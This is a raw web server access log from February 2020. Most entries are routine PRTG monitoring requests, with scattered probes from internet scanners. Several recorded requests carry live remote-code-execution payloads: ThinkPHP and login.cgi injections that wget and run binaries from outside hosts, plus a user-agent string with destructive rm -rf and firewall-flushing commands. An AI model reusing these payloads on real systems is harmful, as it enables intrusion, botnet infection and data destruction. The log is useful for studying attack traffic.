212.91.246.72 - - [23/Feb/2020:22:25:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:22:26:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:22:27:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
124.47.8.10 - - [23/Feb/2020:22:27:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [23/Feb/2020:22:28:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:22:29:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.151.82.82 - - [23/Feb/2020:22:30:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [23/Feb/2020:22:30:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:22:31:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:22:32:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:22:33:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:22:34:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:22:35:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:22:36:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:22:37:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:22:38:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:22:39:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:22:40:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:22:41:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:22:42:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:22:43:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:22:44:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:22:45:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:22:46:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:22:47:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:22:48:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:22:49:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:22:50:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:22:51:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:22:52:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:22:53:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:22:54:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:22:55:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:22:56:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:22:57:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
168.228.167.231 - - [23/Feb/2020:22:57:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [23/Feb/2020:22:58:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.240.205.34 - - [23/Feb/2020:22:58:50 +0100] "Gh0st\xad" 501 321 "-" "-"
212.91.246.72 - - [23/Feb/2020:22:59:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:23:00:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.40.53.52 - - [23/Feb/2020:23:00:58 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [23/Feb/2020:23:01:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:23:02:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:23:03:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.1.94.247 - - [23/Feb/2020:23:03:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [23/Feb/2020:23:04:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
106.12.160.31 - - [23/Feb/2020:23:05:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
106.12.160.31 - - [23/Feb/2020:23:05:20 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
106.12.160.31 - - [23/Feb/2020:23:05:21 +0100] "POST /Admin59f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)"
212.91.246.72 - - [23/Feb/2020:23:05:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:23:06:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:23:07:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:23:08:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:23:09:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:23:10:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
134.35.202.68 - - [23/Feb/2020:23:10:50 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [23/Feb/2020:23:11:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:23:12:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.150.190.103 - - [23/Feb/2020:23:13:06 +0100] "GET /card_scan_decoder.php?No=30&door=%60wget%20http://176.31.38.63:59379/hoho.arm7;%20chmod%20777%20hoho.arm7;%20./hoho.arm7%20linear%60 HTTP/1.1" 404 326 "-" "python-requests/2.18.4"
14.102.69.150 - - [23/Feb/2020:23:13:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [23/Feb/2020:23:13:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:23:14:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:23:15:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:23:16:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:23:17:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:23:18:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
134.35.202.68 - - [23/Feb/2020:23:18:53 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [23/Feb/2020:23:19:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.76.23.190 - - [23/Feb/2020:23:19:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [23/Feb/2020:23:20:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:23:21:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:23:22:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:23:23:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:23:24:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:23:25:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:23:26:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:23:27:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:23:28:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:23:29:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
114.101.178.42 - - [23/Feb/2020:23:29:47 +0100] "GET /web/cgi-bin/hi3510/param.cgi?cmd=getp2pattr&cmd=getuserattr HTTP/1.1" 404 333 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)"
114.101.178.42 - - [23/Feb/2020:23:29:47 +0100] "GET /web/cgi-bin/hi3510/param.cgi?cmd=getp2pattr&cmd=getuserattr HTTP/1.1" 404 333 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)"
114.101.178.42 - - [23/Feb/2020:23:29:47 +0100] "GET /web/cgi-bin/hi3510/param.cgi?cmd=getp2pattr&cmd=getuserattr HTTP/1.1" 404 333 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)"
114.101.178.42 - - [23/Feb/2020:23:29:47 +0100] "GET /web/cgi-bin/hi3510/param.cgi?cmd=getp2pattr&cmd=getuserattr HTTP/1.1" 404 333 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)"
114.101.178.42 - - [23/Feb/2020:23:29:47 +0100] "GET /web/cgi-bin/hi3510/param.cgi?cmd=getp2pattr&cmd=getuserattr HTTP/1.1" 404 333 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)"
114.101.178.42 - - [23/Feb/2020:23:29:48 +0100] "GET /web/cgi-bin/hi3510/param.cgi?cmd=getp2pattr&cmd=getuserattr HTTP/1.1" 404 333 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)"
183.105.27.14 - - [23/Feb/2020:23:29:48 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [23/Feb/2020:23:29:52 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [23/Feb/2020:23:29:58 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [23/Feb/2020:23:30:10 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [23/Feb/2020:23:30:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.105.27.14 - - [23/Feb/2020:23:30:35 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
176.41.215.39 - - [23/Feb/2020:23:30:59 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
103.206.101.208 - - [23/Feb/2020:23:31:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [23/Feb/2020:23:31:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:23:32:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
168.121.224.254 - - [23/Feb/2020:23:32:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
60.53.149.157 - - [23/Feb/2020:23:32:54 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [23/Feb/2020:23:33:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:23:34:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:23:35:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:23:36:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:23:37:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:23:38:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:23:39:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:23:40:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:23:41:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.36.133.140 - - [23/Feb/2020:23:42:25 +0100] "HEAD http://10010.ah165.net:8088/hsp/out_of_service.jsp?custcode=055109907294 HTTP/1.0" 404 - "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3239.132 Safari/537.36"
122.96.73.12 - - [23/Feb/2020:23:42:26 +0100] "HEAD http://123.125.114.144/ HTTP/1.1" 200 - "-" "Mozilla/4.01707650 Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; EmbeddedWB 14.52 from: http://www.bsalsa.com/ EmbeddedWB 14.52; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)"
212.91.246.72 - - [23/Feb/2020:23:42:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.36.131.230 - - [23/Feb/2020:23:42:26 +0100] "GET http://www.epochtimes.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
27.211.57.134 - - [23/Feb/2020:23:42:29 +0100] "CONNECT www.baidu.com:443 HTTP/1.1" 405 343 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
124.88.112.89 - - [23/Feb/2020:23:42:29 +0100] "CONNECT www.voanews.com:443 HTTP/1.1" 405 345 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
182.138.163.237 - - [23/Feb/2020:23:42:29 +0100] "GET http://www.minghui.org/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
113.128.105.82 - - [23/Feb/2020:23:42:29 +0100] "GET http://www.123cha.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
121.57.230.25 - - [23/Feb/2020:23:42:32 +0100] "GET http://www.rfa.org/english/ HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
123.145.20.201 - - [23/Feb/2020:23:42:32 +0100] "GET http://www.wujieliulan.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
113.58.241.250 - - [23/Feb/2020:23:42:32 +0100] "GET http://boxun.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
123.191.133.180 - - [23/Feb/2020:23:42:33 +0100] "CONNECT cn.bing.com:443 HTTP/1.1" 405 341 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
212.91.246.72 - - [23/Feb/2020:23:43:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:23:44:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:23:45:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:23:46:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:23:47:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:23:48:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.147.241.199 - - [23/Feb/2020:23:49:22 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [23/Feb/2020:23:49:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:23:50:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:23:51:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:23:52:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
189.236.67.7 - - [23/Feb/2020:23:53:15 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [23/Feb/2020:23:53:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:23:54:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:23:55:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:23:56:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:23:57:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:23:58:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:23:59:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.138.75.88 - - [24/Feb/2020:00:00:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
